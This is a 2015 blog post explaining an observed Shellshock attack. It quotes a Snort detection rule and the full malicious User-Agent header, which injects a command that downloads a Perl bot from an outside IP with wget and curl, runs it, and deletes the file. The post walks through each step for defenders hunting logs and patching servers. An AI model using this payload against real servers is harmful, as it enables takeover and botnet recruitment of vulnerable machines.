Friday, March 13, 2015

Shellshock Attempt Explained

I posted the basic details here pastebin.com/uGux9X83 for this attack.

But in this post I'd like to go a bit deeper and attempt to explain what's going on.

First this evil IP ( 85.214.149.179 - in Germany) sent an attack to a web server. Now it's difficult to say without doing further research whether this source IP is truly malicious, or if it's just some good guy's box that was compromised and now the attacker is launching attacks from it.

In front of the web server was an IDS (Intrusion Detection System) that runs Snort rules. The attack triggered the following alert because it contained the text '() {' in the http header (in this case in the User Agent header).

Bash CGI environment variable injection attempt (1:31978)
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"OS-OTHER Bash CGI environment variable injection attempt"; flow:to_server,established; content:"() {"; fast_pattern:only; http_header; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-6277; reference:cve,2014-6278; reference:cve,2014-7169; classtype:attempted-admin; sid:31978; rev:4; )


The attack made a request to the following cgi page because it's well known that web servers running the cgi module with a bash prompt that is unpatched could be vulnerable to Shellshock.
GET /cgi-bin/test.cgi

In the User Agent HTTP Header there are linux commands that I'll explain below. But the Shellshock vulnerability sucks because the cgi module uses the bash shell which is stupid and not properly validating it's input and ends up blindly running any linux commands after the '() { ;;};' text under the same account the website is running under which can lead as you'll see below to very bad things.

User-Agent: () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://202.191.121.230/ou.pl -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*");'

So finally to the good stuff.

  1. First the attacker prints out the text 'SUCCESS!' to the browser. He does this so his automated bot that is scanning for vulnerable systems can flag this web server as vulnerable.
    /usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";
  2. Second the attacker runs wget to download his malicious perlbot script from yet another server and saves it to the /tmp folder as 'b.pl'. The attacker saves it here because it's likely a location that the web server account has access to. Again it's tought to tell if 202.191.121.230 is a bad guy's server or just a good guy's server that an attacker compromised. But needless to say, this is the IP you want to look for in your IDS or SIEM or Web Server logs. Crawl through them and if you see any successful callbacks to this IP then you have a problem because that code was executed!
    system("wget http://202.191.121.230/ou.pl -O /tmp/b.pl");
  3. Third the attacker makes a 2nd attempt using curl to download his malicious perlbot script ... just in case the 1st one (wget) failed. This increases the attack's success rate because sometimes wget or curl might be allowed and available and sometimes not.
    curl -O /tmp/b.pl http://202.191.121.230/ou.pl;
  4. Fourth the attacker executes the malicious perlbot script. The attacker does this to plant a backdoor and fully take control of this web server. It's likely that the perlbot script will start running some IRC channel or listening device that will occasionally check-in or listen for commands to run from the command and control server and likely use your web server to launch attacks against other victims.
    perl /tmp/b.pl;
  5. Fifth and finally the attacker cleans up his mess by deleting files that match the pattern 'b.pl*'. The attacker does this to make it harder for you to know you're a victim. You won't see any remnants of files, temp files, or anything related to the attack. You'd only know you were compromised by watching the traffic in/out of the server or looking at currently executing processes.
    rm -rf /tmp/b.pl*;
Patch your servers!

Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

No comments:

Post a Comment